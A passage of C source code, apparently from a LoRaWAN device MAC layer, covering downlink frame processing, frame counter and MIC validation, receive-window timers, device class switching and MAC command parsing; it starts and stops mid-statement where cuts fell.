expect a ping or a multicast slot. if( MacCtx.NvmCtx->DeviceClass == CLASS_B ) { if( LoRaMacClassBIsPingExpected( ) == true ) { LoRaMacClassBSetPingSlotState( PINGSLOT_STATE_CALC_PING_OFFSET ); LoRaMacClassBPingSlotTimerEvent( NULL ); MacCtx.McpsIndication.RxSlot = RX_SLOT_WIN_CLASS_B_PING_SLOT; } else if( LoRaMacClassBIsMulticastExpected( ) == true ) { LoRaMacClassBSetMulticastSlotState( PINGSLOT_STATE_CALC_PING_OFFSET ); LoRaMacClassBMulticastSlotTimerEvent( NULL ); MacCtx.McpsIndication.RxSlot = RX_SLOT_WIN_CLASS_B_MULTICAST_SLOT; } } macHdr.Value = payload[pktHeaderLen++]; switch( macHdr.Bits.MType ) { case FRAME_TYPE_JOIN_ACCEPT: macMsgJoinAccept.Buffer = payload; macMsgJoinAccept.BufSize = size; // Abort in case if the device isn't joined yet and no rejoin request is ongoing. if( MacCtx.NvmCtx->NetworkActivation != ACTIVATION_TYPE_NONE ) { MacCtx.McpsIndication.Status = LORAMAC_EVENT_INFO_STATUS_ERROR; PrepareRxDoneAbort( ); return; } macCryptoStatus = LoRaMacCryptoHandleJoinAccept( JOIN_REQ, SecureElementGetJoinEui( ), &macMsgJoinAccept ); if( LORAMAC_CRYPTO_SUCCESS == macCryptoStatus ) { // Network ID MacCtx.NvmCtx->NetID = ( uint32_t ) macMsgJoinAccept.NetID[0]; MacCtx.NvmCtx->NetID |= ( ( uint32_t ) macMsgJoinAccept.NetID[1] << 8 ); MacCtx.NvmCtx->NetID |= ( ( uint32_t ) macMsgJoinAccept.NetID[2] << 16 ); // Device Address MacCtx.NvmCtx->DevAddr = macMsgJoinAccept.DevAddr; // DLSettings MacCtx.NvmCtx->MacParams.Rx1DrOffset = macMsgJoinAccept.DLSettings.Bits.RX1DRoffset; MacCtx.NvmCtx->MacParams.Rx2Channel.Datarate = macMsgJoinAccept.DLSettings.Bits.RX2DataRate; MacCtx.NvmCtx->MacParams.RxCChannel.Datarate = macMsgJoinAccept.DLSettings.Bits.RX2DataRate; // RxDelay MacCtx.NvmCtx->MacParams.ReceiveDelay1 = macMsgJoinAccept.RxDelay; if( MacCtx.NvmCtx->MacParams.ReceiveDelay1 == 0 ) { MacCtx.NvmCtx->MacParams.ReceiveDelay1 = 1; } MacCtx.NvmCtx->MacParams.ReceiveDelay1 *= 1000; MacCtx.NvmCtx->MacParams.ReceiveDelay2 = MacCtx.NvmCtx->MacParams.ReceiveDelay1 + 1000; MacCtx.NvmCtx->Version.Fields.Minor = 0; // Apply CF list applyCFList.Payload = macMsgJoinAccept.CFList; // Size of the regular payload is 12. Plus 1 byte MHDR and 4 bytes MIC applyCFList.Size = size - 17; RegionApplyCFList( MacCtx.NvmCtx->Region, &applyCFList ); MacCtx.NvmCtx->NetworkActivation = ACTIVATION_TYPE_OTAA; // MLME handling if( LoRaMacConfirmQueueIsCmdActive( MLME_JOIN ) == true ) { LoRaMacConfirmQueueSetStatus( LORAMAC_EVENT_INFO_STATUS_OK, MLME_JOIN ); } } else { // MLME handling if( LoRaMacConfirmQueueIsCmdActive( MLME_JOIN ) == true ) { LoRaMacConfirmQueueSetStatus( LORAMAC_EVENT_INFO_STATUS_JOIN_FAIL, MLME_JOIN ); } } break; case FRAME_TYPE_DATA_CONFIRMED_DOWN: MacCtx.McpsIndication.McpsIndication = MCPS_CONFIRMED; // Intentional fall through case FRAME_TYPE_DATA_UNCONFIRMED_DOWN: // Check if the received payload size is valid getPhy.UplinkDwellTime = MacCtx.NvmCtx->MacParams.DownlinkDwellTime; getPhy.Datarate = MacCtx.McpsIndication.RxDatarate; getPhy.Attribute = PHY_MAX_PAYLOAD; phyParam = RegionGetPhyParam( MacCtx.NvmCtx->Region, &getPhy ); if( MAX( 0, ( int16_t )( ( int16_t ) size - ( int16_t ) LORA_MAC_FRMPAYLOAD_OVERHEAD ) ) > ( int16_t )phyParam.Value ) { MacCtx.McpsIndication.Status = LORAMAC_EVENT_INFO_STATUS_ERROR; PrepareRxDoneAbort( ); return; } macMsgData.Buffer = payload; macMsgData.BufSize = size; macMsgData.FRMPayload = MacCtx.RxPayload; macMsgData.FRMPayloadSize = LORAMAC_PHY_MAXPAYLOAD; if( LORAMAC_PARSER_SUCCESS != LoRaMacParserData( &macMsgData ) ) { MacCtx.McpsIndication.Status = LORAMAC_EVENT_INFO_STATUS_ERROR; PrepareRxDoneAbort( ); return; } // Store device address MacCtx.McpsIndication.DevAddress = macMsgData.FHDR.DevAddr; FType_t fType; if( LORAMAC_STATUS_OK != DetermineFrameType( &macMsgData, &fType ) ) { MacCtx.McpsIndication.Status = LORAMAC_EVENT_INFO_STATUS_ERROR; PrepareRxDoneAbort( ); return; } //Check if it is a multicast message multicast = 0; downLinkCounter = 0; for( uint8_t i = 0; i < LORAMAC_MAX_MC_CTX; i++ ) { if( ( MacCtx.NvmCtx->MulticastChannelList[i].ChannelParams.Address == macMsgData.FHDR.DevAddr ) && ( MacCtx.NvmCtx->MulticastChannelList[i].ChannelParams.IsEnabled == true ) ) { multicast = 1; addrID = MacCtx.NvmCtx->MulticastChannelList[i].ChannelParams.GroupID; downLinkCounter = *( MacCtx.NvmCtx->MulticastChannelList[i].DownLinkCounter ); address = MacCtx.NvmCtx->MulticastChannelList[i].ChannelParams.Address; if( MacCtx.NvmCtx->DeviceClass == CLASS_C ) { MacCtx.McpsIndication.RxSlot = RX_SLOT_WIN_CLASS_C_MULTICAST; } break; } } // Filter messages according to multicast downlink exceptions if( ( multicast == 1 ) && ( ( fType != FRAME_TYPE_D ) || ( macMsgData.FHDR.FCtrl.Bits.Ack == true ) || ( macMsgData.FHDR.FCtrl.Bits.AdrAckReq == true ) ) ) { MacCtx.McpsIndication.Status = LORAMAC_EVENT_INFO_STATUS_ERROR; PrepareRxDoneAbort( ); return; } // Get maximum allowed counter difference getPhy.Attribute = PHY_MAX_FCNT_GAP; phyParam = RegionGetPhyParam( MacCtx.NvmCtx->Region, &getPhy ); // Get downlink frame counter value macCryptoStatus = GetFCntDown( addrID, fType, &macMsgData, MacCtx.NvmCtx->Version, phyParam.Value, &fCntID, &downLinkCounter ); if( macCryptoStatus != LORAMAC_CRYPTO_SUCCESS ) { if( macCryptoStatus == LORAMAC_CRYPTO_FAIL_FCNT_DUPLICATED ) { // Catch the case of repeated downlink frame counter MacCtx.McpsIndication.Status = LORAMAC_EVENT_INFO_STATUS_DOWNLINK_REPEATED; if( ( MacCtx.NvmCtx->Version.Fields.Minor == 0 ) && ( macHdr.Bits.MType == FRAME_TYPE_DATA_CONFIRMED_DOWN ) && ( MacCtx.NvmCtx->LastRxMic == macMsgData.MIC ) ) { MacCtx.NvmCtx->SrvAckRequested = true; } } else if( macCryptoStatus == LORAMAC_CRYPTO_FAIL_MAX_GAP_FCNT ) { // Lost too many frames MacCtx.McpsIndication.Status = LORAMAC_EVENT_INFO_STATUS_DOWNLINK_TOO_MANY_FRAMES_LOSS; } else { // Other errors MacCtx.McpsIndication.Status = LORAMAC_EVENT_INFO_STATUS_ERROR; } MacCtx.McpsIndication.DownLinkCounter = downLinkCounter; PrepareRxDoneAbort( ); return; } macCryptoStatus = LoRaMacCryptoUnsecureMessage( addrID, address, fCntID, downLinkCounter, &macMsgData ); if( macCryptoStatus != LORAMAC_CRYPTO_SUCCESS ) { if( macCryptoStatus == LORAMAC_CRYPTO_FAIL_ADDRESS ) { // We are not the destination of this frame. MacCtx.McpsIndication.Status = LORAMAC_EVENT_INFO_STATUS_ADDRESS_FAIL; } else { // MIC calculation fail MacCtx.McpsIndication.Status = LORAMAC_EVENT_INFO_STATUS_MIC_FAIL; } PrepareRxDoneAbort( ); return; } // Frame is valid MacCtx.McpsIndication.Status = LORAMAC_EVENT_INFO_STATUS_OK; MacCtx.McpsIndication.Multicast = multicast; MacCtx.McpsIndication.FramePending = macMsgData.FHDR.FCtrl.Bits.FPending; MacCtx.McpsIndication.Buffer = NULL; MacCtx.McpsIndication.BufferSize = 0; MacCtx.McpsIndication.DownLinkCounter = downLinkCounter; MacCtx.McpsIndication.AckReceived = macMsgData.FHDR.FCtrl.Bits.Ack; MacCtx.McpsConfirm.Status = LORAMAC_EVENT_INFO_STATUS_OK; MacCtx.McpsConfirm.AckReceived = macMsgData.FHDR.FCtrl.Bits.Ack; // Reset ADR ACK Counter only, when RX1 or RX2 slot if( ( MacCtx.McpsIndication.RxSlot == RX_SLOT_WIN_1 ) || ( MacCtx.McpsIndication.RxSlot == RX_SLOT_WIN_2 ) ) { MacCtx.NvmCtx->AdrAckCounter = 0; } // MCPS Indication and ack requested handling if( multicast == 1 ) { MacCtx.McpsIndication.McpsIndication = MCPS_MULTICAST; } else { if( macHdr.Bits.MType == FRAME_TYPE_DATA_CONFIRMED_DOWN ) { MacCtx.NvmCtx->SrvAckRequested = true; if( MacCtx.NvmCtx->Version.Fields.Minor == 0 ) { MacCtx.NvmCtx->LastRxMic = macMsgData.MIC; } MacCtx.McpsIndication.McpsIndication = MCPS_CONFIRMED; } else { MacCtx.NvmCtx->SrvAckRequested = false; MacCtx.McpsIndication.McpsIndication = MCPS_UNCONFIRMED; } } RemoveMacCommands( MacCtx.McpsIndication.RxSlot, macMsgData.FHDR.FCtrl, MacCtx.McpsConfirm.McpsRequest ); switch( fType ) { case FRAME_TYPE_A: { /* +----------+------+-------+--------------+ * | FOptsLen | Fopt | FPort | FRMPayload | * +----------+------+-------+--------------+ * | > 0 | X | > 0 | X | * +----------+------+-------+--------------+ */ // Decode MAC commands in FOpts field ProcessMacCommands( macMsgData.FHDR.FOpts, 0, macMsgData.FHDR.FCtrl.Bits.FOptsLen, snr, MacCtx.McpsIndication.RxSlot ); MacCtx.McpsIndication.Port = macMsgData.FPort; MacCtx.McpsIndication.Buffer = macMsgData.FRMPayload; MacCtx.McpsIndication.BufferSize = macMsgData.FRMPayloadSize; MacCtx.McpsIndication.RxData = true; break; } case FRAME_TYPE_B: { /* +----------+------+-------+--------------+ * | FOptsLen | Fopt | FPort | FRMPayload | * +----------+------+-------+--------------+ * | > 0 | X | - | - | * +----------+------+-------+--------------+ */ // Decode MAC commands in FOpts field ProcessMacCommands( macMsgData.FHDR.FOpts, 0, macMsgData.FHDR.FCtrl.Bits.FOptsLen, snr, MacCtx.McpsIndication.RxSlot ); MacCtx.McpsIndication.Port = macMsgData.FPort; break; } case FRAME_TYPE_C: { /* +----------+------+-------+--------------+ * | FOptsLen | Fopt | FPort | FRMPayload | * +----------+------+-------+--------------+ * | = 0 | - | = 0 | MAC commands | * +----------+------+-------+--------------+ */ // Decode MAC commands in FRMPayload ProcessMacCommands( macMsgData.FRMPayload, 0, macMsgData.FRMPayloadSize, snr, MacCtx.McpsIndication.RxSlot ); MacCtx.McpsIndication.Port = macMsgData.FPort; break; } case FRAME_TYPE_D: { /* +----------+------+-------+--------------+ * | FOptsLen | Fopt | FPort | FRMPayload | * +----------+------+-------+--------------+ * | = 0 | - | > 0 | X | * +----------+------+-------+--------------+ */ // No MAC commands just application payload MacCtx.McpsIndication.Port = macMsgData.FPort; MacCtx.McpsIndication.Buffer = macMsgData.FRMPayload; MacCtx.McpsIndication.BufferSize = macMsgData.FRMPayloadSize; MacCtx.McpsIndication.RxData = true; break; } default: MacCtx.McpsIndication.Status = LORAMAC_EVENT_INFO_STATUS_ERROR; PrepareRxDoneAbort( ); break; } // Provide always an indication, skip the callback to the user application, // in case of a confirmed downlink retransmission. MacCtx.MacFlags.Bits.McpsInd = 1; break; case FRAME_TYPE_PROPRIETARY: memcpy1( MacCtx.RxPayload, &payload[pktHeaderLen], size - pktHeaderLen ); MacCtx.McpsIndication.McpsIndication = MCPS_PROPRIETARY; MacCtx.McpsIndication.Status = LORAMAC_EVENT_INFO_STATUS_OK; MacCtx.McpsIndication.Buffer = MacCtx.RxPayload; MacCtx.McpsIndication.BufferSize = size - pktHeaderLen; MacCtx.MacFlags.Bits.McpsInd = 1; break; default: MacCtx.McpsIndication.Status = LORAMAC_EVENT_INFO_STATUS_ERROR; PrepareRxDoneAbort( ); break; } // Verify if we need to disable the AckTimeoutTimer if( MacCtx.NodeAckRequested == true ) { if( MacCtx.McpsConfirm.AckReceived == true ) { OnAckTimeoutTimerEvent( NULL ); } } else { if( MacCtx.NvmCtx->DeviceClass == CLASS_C ) { OnAckTimeoutTimerEvent( NULL ); } } MacCtx.MacFlags.Bits.MacDone = 1; UpdateRxSlotIdleState( ); } static void ProcessRadioTxTimeout( void ) { if( MacCtx.NvmCtx->DeviceClass != CLASS_C ) { Radio.Sleep( ); } UpdateRxSlotIdleState( ); MacCtx.McpsConfirm.Status = LORAMAC_EVENT_INFO_STATUS_TX_TIMEOUT; LoRaMacConfirmQueueSetStatusCmn( LORAMAC_EVENT_INFO_STATUS_TX_TIMEOUT ); if( MacCtx.NodeAckRequested == true ) { MacCtx.AckTimeoutRetry = true; } MacCtx.MacFlags.Bits.MacDone = 1; } static void HandleRadioRxErrorTimeout( LoRaMacEventInfoStatus_t rx1EventInfoStatus, LoRaMacEventInfoStatus_t rx2EventInfoStatus ) { bool classBRx = false; if( MacCtx.NvmCtx->DeviceClass != CLASS_C ) { Radio.Sleep( ); } if( LoRaMacClassBIsBeaconExpected( ) == true ) { LoRaMacClassBSetBeaconState( BEACON_STATE_TIMEOUT ); LoRaMacClassBBeaconTimerEvent( NULL ); classBRx = true; } if( MacCtx.NvmCtx->DeviceClass == CLASS_B ) { if( LoRaMacClassBIsPingExpected( ) == true ) { LoRaMacClassBSetPingSlotState( PINGSLOT_STATE_CALC_PING_OFFSET ); LoRaMacClassBPingSlotTimerEvent( NULL ); classBRx = true; } if( LoRaMacClassBIsMulticastExpected( ) == true ) { LoRaMacClassBSetMulticastSlotState( PINGSLOT_STATE_CALC_PING_OFFSET ); LoRaMacClassBMulticastSlotTimerEvent( NULL ); classBRx = true; } } if( classBRx == false ) { if( MacCtx.RxSlot == RX_SLOT_WIN_1 ) { if( MacCtx.NodeAckRequested == true ) { MacCtx.McpsConfirm.Status = rx1EventInfoStatus; } LoRaMacConfirmQueueSetStatusCmn( rx1EventInfoStatus ); if( TimerGetElapsedTime( MacCtx.NvmCtx->LastTxDoneTime ) >= MacCtx.RxWindow2Delay ) { TimerStop( &MacCtx.RxWindowTimer2 ); MacCtx.MacFlags.Bits.MacDone = 1; } } else { if( MacCtx.NodeAckRequested == true ) { MacCtx.McpsConfirm.Status = rx2EventInfoStatus; } LoRaMacConfirmQueueSetStatusCmn( rx2EventInfoStatus ); if( MacCtx.NvmCtx->DeviceClass != CLASS_C ) { MacCtx.MacFlags.Bits.MacDone = 1; } } } UpdateRxSlotIdleState( ); } static void ProcessRadioRxError( void ) { HandleRadioRxErrorTimeout( LORAMAC_EVENT_INFO_STATUS_RX1_ERROR, LORAMAC_EVENT_INFO_STATUS_RX2_ERROR ); } static void ProcessRadioRxTimeout( void ) { HandleRadioRxErrorTimeout( LORAMAC_EVENT_INFO_STATUS_RX1_TIMEOUT, LORAMAC_EVENT_INFO_STATUS_RX2_TIMEOUT ); } static void LoRaMacHandleIrqEvents( void ) { LoRaMacRadioEvents_t events; CRITICAL_SECTION_BEGIN( ); events = LoRaMacRadioEvents; LoRaMacRadioEvents.Value = 0; CRITICAL_SECTION_END( ); if( events.Value != 0 ) { if( events.Events.TxDone == 1 ) { ProcessRadioTxDone( ); } if( events.Events.RxDone == 1 ) { ProcessRadioRxDone( ); } if( events.Events.TxTimeout == 1 ) { ProcessRadioTxTimeout( ); } if( events.Events.RxError == 1 ) { ProcessRadioRxError( ); } if( events.Events.RxTimeout == 1 ) { ProcessRadioRxTimeout( ); } } } bool LoRaMacIsBusy( void ) { if( ( MacCtx.MacState == LORAMAC_IDLE ) && ( MacCtx.AllowRequests == LORAMAC_REQUEST_HANDLING_ON ) ) { return false; } return true; } static void LoRaMacEnableRequests( LoRaMacRequestHandling_t requestState ) { MacCtx.AllowRequests = requestState; } static void LoRaMacHandleRequestEvents( void ) { // Handle events LoRaMacFlags_t reqEvents = MacCtx.MacFlags; if( MacCtx.MacState == LORAMAC_IDLE ) { // Update event bits if( MacCtx.MacFlags.Bits.McpsReq == 1 ) { MacCtx.MacFlags.Bits.McpsReq = 0; } if( MacCtx.MacFlags.Bits.MlmeReq == 1 ) { MacCtx.MacFlags.Bits.MlmeReq = 0; } // Allow requests again LoRaMacEnableRequests( LORAMAC_REQUEST_HANDLING_ON ); // Handle callbacks if( reqEvents.Bits.McpsReq == 1 ) { MacCtx.MacPrimitives->MacMcpsConfirm( &MacCtx.McpsConfirm ); } if( reqEvents.Bits.MlmeReq == 1 ) { LoRaMacConfirmQueueHandleCb( &MacCtx.MlmeConfirm ); if( LoRaMacConfirmQueueGetCnt( ) > 0 ) { MacCtx.MacFlags.Bits.MlmeReq = 1; } } // Start beaconing again LoRaMacClassBResumeBeaconing( ); // Procedure done. Reset variables. MacCtx.MacFlags.Bits.MacDone = 0; } } static void LoRaMacHandleScheduleUplinkEvent( void ) { // Handle events if( MacCtx.MacState == LORAMAC_IDLE ) { // Verify if sticky MAC commands are pending or not bool isStickyMacCommandPending = false; LoRaMacCommandsStickyCmdsPending( &isStickyMacCommandPending ); if( isStickyMacCommandPending == true ) {// Setup MLME indication SetMlmeScheduleUplinkIndication( ); } } } static void LoRaMacHandleIndicationEvents( void ) { // Handle MLME indication if( MacCtx.MacFlags.Bits.MlmeInd == 1 ) { MacCtx.MacFlags.Bits.MlmeInd = 0; MacCtx.MacPrimitives->MacMlmeIndication( &MacCtx.MlmeIndication ); } if( MacCtx.MacFlags.Bits.MlmeSchedUplinkInd == 1 ) { MlmeIndication_t schduleUplinkIndication; schduleUplinkIndication.MlmeIndication = MLME_SCHEDULE_UPLINK; schduleUplinkIndication.Status = LORAMAC_EVENT_INFO_STATUS_OK; MacCtx.MacPrimitives->MacMlmeIndication( &schduleUplinkIndication ); MacCtx.MacFlags.Bits.MlmeSchedUplinkInd = 0; } // Handle MCPS indication if( MacCtx.MacFlags.Bits.McpsInd == 1 ) { MacCtx.MacFlags.Bits.McpsInd = 0; MacCtx.MacPrimitives->MacMcpsIndication( &MacCtx.McpsIndication ); } } static void LoRaMacHandleMcpsRequest( void ) { // Handle MCPS uplinks if( MacCtx.MacFlags.Bits.McpsReq == 1 ) { bool stopRetransmission = false; bool waitForRetransmission = false; if( ( MacCtx.McpsConfirm.McpsRequest == MCPS_UNCONFIRMED ) || ( MacCtx.McpsConfirm.McpsRequest == MCPS_PROPRIETARY ) ) { stopRetransmission = CheckRetransUnconfirmedUplink( ); } else if( MacCtx.McpsConfirm.McpsRequest == MCPS_CONFIRMED ) { if( MacCtx.AckTimeoutRetry == true ) { stopRetransmission = CheckRetransConfirmedUplink( ); if( MacCtx.NvmCtx->Version.Fields.Minor == 0 ) { if( stopRetransmission == false ) { AckTimeoutRetriesProcess( ); } else { AckTimeoutRetriesFinalize( ); } } } else { waitForRetransmission = true; } } if( stopRetransmission == true ) {// Stop retransmission TimerStop( &MacCtx.TxDelayedTimer ); MacCtx.MacState &= ~LORAMAC_TX_DELAYED; StopRetransmission( ); } else if( waitForRetransmission == false ) {// Arrange further retransmission MacCtx.MacFlags.Bits.MacDone = 0; // Reset the state of the AckTimeout MacCtx.AckTimeoutRetry = false; // Sends the same frame again OnTxDelayedTimerEvent( NULL ); } } } static void LoRaMacHandleMlmeRequest( void ) { // Handle join request if( MacCtx.MacFlags.Bits.MlmeReq == 1 ) { if( ( LoRaMacConfirmQueueIsCmdActive( MLME_JOIN ) == true ) ) { if( LoRaMacConfirmQueueGetStatus( MLME_JOIN ) == LORAMAC_EVENT_INFO_STATUS_OK ) {// Node joined successfully MacCtx.ChannelsNbTransCounter = 0; } MacCtx.MacState &= ~LORAMAC_TX_RUNNING; } else if( ( LoRaMacConfirmQueueIsCmdActive( MLME_TXCW ) == true ) || ( LoRaMacConfirmQueueIsCmdActive( MLME_TXCW_1 ) == true ) ) { MacCtx.MacState &= ~LORAMAC_TX_RUNNING; } } } static uint8_t LoRaMacCheckForBeaconAcquisition( void ) { if( ( LoRaMacConfirmQueueIsCmdActive( MLME_BEACON_ACQUISITION ) == true ) && ( MacCtx.MacFlags.Bits.McpsReq == 0 ) ) { if( MacCtx.MacFlags.Bits.MlmeReq == 1 ) { MacCtx.MacState &= ~LORAMAC_TX_RUNNING; return 0x01; } } return 0x00; } static void LoRaMacCheckForRxAbort( void ) { // A error occurs during receiving if( ( MacCtx.MacState & LORAMAC_RX_ABORT ) == LORAMAC_RX_ABORT ) { MacCtx.MacState &= ~LORAMAC_RX_ABORT; MacCtx.MacState &= ~LORAMAC_TX_RUNNING; } } void LoRaMacProcess( void ) { uint8_t noTx = false; LoRaMacHandleIrqEvents( ); LoRaMacClassBProcess( ); // MAC proceeded a state and is ready to check if( MacCtx.MacFlags.Bits.MacDone == 1 ) { LoRaMacEnableRequests( LORAMAC_REQUEST_HANDLING_OFF ); LoRaMacCheckForRxAbort( ); // An error occurs during transmitting if( IsRequestPending( ) > 0 ) { noTx |= LoRaMacCheckForBeaconAcquisition( ); } if( noTx == 0x00 ) { LoRaMacHandleMlmeRequest( ); LoRaMacHandleMcpsRequest( ); } LoRaMacHandleRequestEvents( ); LoRaMacHandleScheduleUplinkEvent( ); LoRaMacEnableRequests( LORAMAC_REQUEST_HANDLING_ON ); } LoRaMacHandleIndicationEvents( ); if( MacCtx.RxSlot == RX_SLOT_WIN_CLASS_C ) { OpenContinuousRxCWindow( ); } } static void OnTxDelayedTimerEvent( void* context ) { TimerStop( &MacCtx.TxDelayedTimer ); MacCtx.MacState &= ~LORAMAC_TX_DELAYED; // Schedule frame, allow delayed frame transmissions switch( ScheduleTx( true ) ) { case LORAMAC_STATUS_OK: case LORAMAC_STATUS_DUTYCYCLE_RESTRICTED: { break; } default: { // Stop retransmission attempt MacCtx.McpsConfirm.Datarate = MacCtx.NvmCtx->MacParams.ChannelsDatarate; MacCtx.McpsConfirm.NbRetries = MacCtx.AckTimeoutRetriesCounter; MacCtx.McpsConfirm.Status = LORAMAC_EVENT_INFO_STATUS_TX_DR_PAYLOAD_SIZE_ERROR; LoRaMacConfirmQueueSetStatusCmn( LORAMAC_EVENT_INFO_STATUS_TX_DR_PAYLOAD_SIZE_ERROR ); StopRetransmission( ); break; } } } static void OnRxWindow1TimerEvent( void* context ) { MacCtx.RxWindow1Config.Channel = MacCtx.Channel; MacCtx.RxWindow1Config.DrOffset = MacCtx.NvmCtx->MacParams.Rx1DrOffset; MacCtx.RxWindow1Config.DownlinkDwellTime = MacCtx.NvmCtx->MacParams.DownlinkDwellTime; MacCtx.RxWindow1Config.RxContinuous = false; MacCtx.RxWindow1Config.RxSlot = RX_SLOT_WIN_1; RxWindowSetup( &MacCtx.RxWindowTimer1, &MacCtx.RxWindow1Config ); } static void OnRxWindow2TimerEvent( void* context ) { // Check if we are processing Rx1 window. // If yes, we don't setup the Rx2 window. if( MacCtx.RxSlot == RX_SLOT_WIN_1 ) { return; } MacCtx.RxWindow2Config.Channel = MacCtx.Channel; MacCtx.RxWindow2Config.Frequency = MacCtx.NvmCtx->MacParams.Rx2Channel.Frequency; MacCtx.RxWindow2Config.DownlinkDwellTime = MacCtx.NvmCtx->MacParams.DownlinkDwellTime; MacCtx.RxWindow2Config.RxContinuous = false; MacCtx.RxWindow2Config.RxSlot = RX_SLOT_WIN_2; RxWindowSetup( &MacCtx.RxWindowTimer2, &MacCtx.RxWindow2Config ); } static void OnAckTimeoutTimerEvent( void* context ) { TimerStop( &MacCtx.AckTimeoutTimer ); if( MacCtx.NodeAckRequested == true ) { MacCtx.AckTimeoutRetry = true; } if( MacCtx.NvmCtx->DeviceClass == CLASS_C ) { MacCtx.MacFlags.Bits.MacDone = 1; } if( ( MacCtx.MacCallbacks != NULL ) && ( MacCtx.MacCallbacks->MacProcessNotify != NULL ) ) { MacCtx.MacCallbacks->MacProcessNotify( ); } } static LoRaMacCryptoStatus_t GetFCntDown( AddressIdentifier_t addrID, FType_t fType, LoRaMacMessageData_t* macMsg, Version_t lrWanVersion, uint16_t maxFCntGap, FCntIdentifier_t* fCntID, uint32_t* currentDown ) { if( ( macMsg == NULL ) || ( fCntID == NULL ) || ( currentDown == NULL ) ) { return LORAMAC_CRYPTO_ERROR_NPE; } // Determine the frame counter identifier and choose counter from FCntList switch( addrID ) { case UNICAST_DEV_ADDR: if( lrWanVersion.Fields.Minor == 1 ) { if( ( fType == FRAME_TYPE_A ) || ( fType == FRAME_TYPE_D ) ) { *fCntID = A_FCNT_DOWN; } else { *fCntID = N_FCNT_DOWN; } } else { // For LoRaWAN 1.0.X *fCntID = FCNT_DOWN; } break; case MULTICAST_0_ADDR: *fCntID = MC_FCNT_DOWN_0; break; case MULTICAST_1_ADDR: *fCntID = MC_FCNT_DOWN_1; break; case MULTICAST_2_ADDR: *fCntID = MC_FCNT_DOWN_2; break; case MULTICAST_3_ADDR: *fCntID = MC_FCNT_DOWN_3; break; default: return LORAMAC_CRYPTO_FAIL_FCNT_ID; } return LoRaMacCryptoGetFCntDown( *fCntID, maxFCntGap, macMsg->FHDR.FCnt, currentDown ); } static LoRaMacStatus_t SwitchClass( DeviceClass_t deviceClass ) { LoRaMacStatus_t status = LORAMAC_STATUS_PARAMETER_INVALID; switch( MacCtx.NvmCtx->DeviceClass ) { case CLASS_A: { if( deviceClass == CLASS_A ) { // Revert back RxC parameters MacCtx.NvmCtx->MacParams.RxCChannel = MacCtx.NvmCtx->MacParams.Rx2Channel; } if( deviceClass == CLASS_B ) { status = LoRaMacClassBSwitchClass( deviceClass ); if( status == LORAMAC_STATUS_OK ) { MacCtx.NvmCtx->DeviceClass = deviceClass; } } if( deviceClass == CLASS_C ) { MacCtx.NvmCtx->DeviceClass = deviceClass; MacCtx.RxWindowCConfig = MacCtx.RxWindow2Config; MacCtx.RxWindowCConfig.RxSlot = RX_SLOT_WIN_CLASS_C; for( int8_t i = 0; i < LORAMAC_MAX_MC_CTX; i++ ) { if( MacCtx.NvmCtx->MulticastChannelList[i].ChannelParams.IsEnabled == true ) // TODO: Check multicast channel device class. { MacCtx.NvmCtx->MacParams.RxCChannel.Frequency = MacCtx.NvmCtx->MulticastChannelList[i].ChannelParams.RxParams.ClassC.Frequency; MacCtx.NvmCtx->MacParams.RxCChannel.Datarate = MacCtx.NvmCtx->MulticastChannelList[i].ChannelParams.RxParams.ClassC.Datarate; MacCtx.RxWindowCConfig.Channel = MacCtx.Channel; MacCtx.RxWindowCConfig.Frequency = MacCtx.NvmCtx->MacParams.RxCChannel.Frequency; MacCtx.RxWindowCConfig.DownlinkDwellTime = MacCtx.NvmCtx->MacParams.DownlinkDwellTime; MacCtx.RxWindowCConfig.RxSlot = RX_SLOT_WIN_CLASS_C_MULTICAST; MacCtx.RxWindowCConfig.RxContinuous = true; break; } } // Set the NodeAckRequested indicator to default MacCtx.NodeAckRequested = false; // Set the radio into sleep mode in case we are still in RX mode Radio.Sleep( ); OpenContinuousRxCWindow( ); status = LORAMAC_STATUS_OK; } break; } case CLASS_B: { status = LoRaMacClassBSwitchClass( deviceClass ); if( status == LORAMAC_STATUS_OK ) { MacCtx.NvmCtx->DeviceClass = deviceClass; } break; } case CLASS_C: { if( deviceClass == CLASS_A ) { MacCtx.NvmCtx->DeviceClass = deviceClass; // Set the radio into sleep to setup a defined state Radio.Sleep( ); status = LORAMAC_STATUS_OK; } break; } } return status; } static uint8_t GetMaxAppPayloadWithoutFOptsLength( int8_t datarate ) { GetPhyParams_t getPhy; PhyParam_t phyParam; // Setup PHY request getPhy.UplinkDwellTime = MacCtx.NvmCtx->MacParams.UplinkDwellTime; getPhy.Datarate = datarate; getPhy.Attribute = PHY_MAX_PAYLOAD; phyParam = RegionGetPhyParam( MacCtx.NvmCtx->Region, &getPhy ); return phyParam.Value; } static bool ValidatePayloadLength( uint8_t lenN, int8_t datarate, uint8_t fOptsLen ) { uint16_t maxN = 0; uint16_t payloadSize = 0; maxN = GetMaxAppPayloadWithoutFOptsLength( datarate ); // Calculate the resulting payload size payloadSize = ( lenN + fOptsLen ); // Validation of the application payload size if( ( payloadSize <= maxN ) && ( payloadSize <= LORAMAC_PHY_MAXPAYLOAD ) ) { return true; } return false; } static void SetMlmeScheduleUplinkIndication( void ) { MacCtx.MacFlags.Bits.MlmeSchedUplinkInd = 1; } static void ProcessMacCommands( uint8_t *payload, uint8_t macIndex, uint8_t commandsSize, int8_t snr, LoRaMacRxSlot_t rxSlot ) { uint8_t status = 0; bool adrBlockFound = false; uint8_t macCmdPayload[2] = { 0x00, 0x00 }; while( macIndex < commandsSize ) { // Make sure to parse only complete MAC commands if( ( LoRaMacCommandsGetCmdSize( payload[macIndex] ) + macIndex ) > commandsSize ) { return; } // Decode Frame MAC commands switch( payload[macIndex++] ) { case SRV_MAC_LINK_CHECK_ANS: { if( LoRaMacConfirmQueueIsCmdActive( MLME_LINK_CHECK ) == true ) { LoRaMacConfirmQueueSetStatus( LORAMAC_EVENT_INFO_STATUS_OK, MLME_LINK_CHECK ); MacCtx.MlmeConfirm.DemodMargin = payload[macIndex++]; MacCtx.MlmeConfirm.NbGateways = payload[macIndex++]; } break; } case SRV_MAC_LINK_ADR_REQ: { LinkAdrReqParams_t linkAdrReq; int8_t linkAdrDatarate = DR_0; int8_t linkAdrTxPower = TX_POWER_0; uint8_t linkAdrNbRep = 0; uint8_t linkAdrNbBytesParsed = 0; if( adrBlockFound == false ) { adrBlockFound = true; // Fill parameter structure linkAdrReq.Payload = &payload[macIndex - 1]; linkAdrReq.PayloadSize = commandsSize - ( macIndex - 1 ); linkAdrReq.AdrEnabled = MacCtx.NvmCtx->AdrCtrlOn; linkAdrReq.UplinkDwellTime = 